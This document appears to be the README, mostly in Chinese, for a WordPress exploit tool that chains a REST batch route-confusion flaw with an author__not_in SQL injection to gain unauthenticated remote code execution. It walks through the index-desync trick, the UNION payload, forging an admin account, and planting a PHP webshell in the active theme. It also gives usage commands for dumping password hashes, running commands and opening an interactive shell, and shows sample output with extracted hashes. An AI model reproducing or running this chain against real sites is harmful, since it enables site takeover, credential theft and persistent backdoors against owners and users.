WordPress RCE 漏洞利用链。无需身份验证。CVSS 9.8。
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
两个 CVE 串联形成无需身份验证的远程代码执行:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| 步骤 | CVE | 向量 |
|---|---|---|
| 1 | CVE-2026-63030 | REST /batch/v1 索引错位导致验证与分发不同步 |
| 2 | CVE-2026-60137 | author__not_in WP_Query 参数在作为字符串传递时跳过 absint() |
| 3 | — | UNION SELECT 伪造 wp_posts 行;oEmbed → customizer → wp_insert_user |
| 4 | — | 以新创建的管理员身份进行身份验证 |
| 5 | — | 主题编辑器将受令牌保护的 webshell 注入活动主题 |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress 位于 /?rest_route=/batch/v1 的批量端点接受一个子请求数组。当某个子请求的路径无法解析(///)时,一个 WP_Error 会被添加到 $validation 中,但不会添加到 $matches 中。随后调度循环会将请求 N 与处理器 N+1 配对——因此,一个针对某模式验证过的请求会被调度到另一个不同的处理器。
该漏洞利用发送一个 3 层嵌套的批量请求,其中每一层都在位置 0 使用一个失步引导请求来偏移索引。最内层的请求——被验证为单文章项(GET /wp/v2/posts/999999)——最终落到集合处理器(posts->get_items())上。由于项模式未定义 author_exclude,该参数未经校验便直接通过。
get_items() 将 author_exclude 映射为 author__not_in,并将其传递给 WP_Query。当 author__not_in 是字符串(而非数组)时,array_map('absint', …) 代码块会被跳过。原始字符串直接进入:
WHERE post_author NOT IN (<payload>)
载荷 0) UNION ALL SELECT …-- - 会闭合 NOT IN 列表并追加任意 SQL。
WordPress 7.0.x 的 wp_posts 恰好有 23 列。通过使用 orderby=none(抑制末尾的 ORDER BY)和 per_page=500(使 WP_Query 保持全行模式)注入一个伪造行(UNION ALL SELECT),伪造的文章标题——携带 ||HEX|| 标记——会反映在 REST 响应中。所有字符串值均使用 MySQL 十六进制字面量(0x…),以避免通过 URL 编码时出现引号转义问题。
[embed] 短代码的文章 → WordPress 创建 3 行 oembed_cache 记录wp_posts 记录,形成一条 customizer 变更集链[embed] 短代码渲染,触发 WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>)和密码(Wp2!<random>)以新管理员身份登录 → 提取主题编辑器 nonce → 在活动主题的 functions.php 顶部注入受令牌保护的 PHP webshell → 通过 ?t=<token>&c=<command> 访问。
wp_remote_post() 回环检查。如果容器无法通过主机名访问自身,主题编辑将被阻止。在这些情况下,请使用 --dump-users + 手动登录。--check 进行测试。$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
本工具仅用于经授权的安全研究和教育目的。仅可针对您拥有或已获得明确测试许可的系统使用。作者对任何滥用行为不承担任何责任。